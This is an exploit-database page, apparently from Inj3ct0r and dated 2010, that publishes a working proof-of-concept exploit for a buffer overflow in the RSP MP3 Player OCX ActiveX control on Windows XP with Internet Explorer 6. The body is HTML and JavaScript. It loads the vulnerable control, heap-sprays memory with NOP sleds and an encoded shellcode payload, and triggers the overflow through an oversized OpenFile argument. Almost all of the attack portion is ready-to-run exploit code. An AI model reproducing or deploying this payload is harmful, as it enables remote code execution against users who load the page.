Home / os / win7

RSP MP3 Player OCX ActiveX Buffer Overflow (heap spray)

Posted on 10 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>RSP MP3 Player OCX ActiveX Buffer Overflow (heap spray)</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=======================================================
RSP MP3 Player OCX ActiveX Buffer Overflow (heap spray)
=======================================================

&lt;html&gt;
&lt;br&gt;&lt;/br&gt;
&lt;br&gt;.  .     .      / &lt;/br&gt;
&lt;br&gt;|/| _. _|  ** &gt;&lt;  &lt;/br&gt;
&lt;br&gt;|  |(_](_]  ||/   &lt;/br&gt;
&lt;br&gt;          ._|      &lt;/br&gt;
&lt;br&gt;&lt;/br&gt;
&lt;br&gt;RSP MP3 Player OCX ActiveX Buffer Overflow (heap spray)&lt;/br&gt;
&lt;br&gt;By : MadjiX , Dz8(a)Hotmail.com&lt;/br&gt;
&lt;br&gt;Discovered by Blake: http://www.exploit-db.com/exploits/14309/
&lt;br&gt;Greetings: His0k4 , Bibi-info , The g0bl!n (y) , sec4ever.com&lt;/br&gt;
&lt;br&gt;Tested on Windows Xp Sp3 (Fr),with IE6&lt;/br&gt;
&lt;object classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687' id='target' &gt;&lt;/object&gt;
&lt;script&gt;
sh = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
                    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
                    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
                    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
                    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
                    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
                    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
                    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
                     
n=unescape('%u9090%u9090');
h = 20;
s= h + sh.length;
while(n.length&lt;s) n+=n;
f=n.substring(0,s);
b=n.substring(0,n.length-s);
while(b.length+s&lt;0x40000) b=b+b+f;
memory=new Array();
for( counter=0; counter&lt;250; counter++) memory[counter]= b + sh;
ret='';
for( counter=0; counter&lt;=1000; counter++) ret+=unescape(&quot;%0a%0a%0a%0a&quot;);
  
target.OpenFile(ret);
 
&lt;/script&gt;
&lt;/html&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-10]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :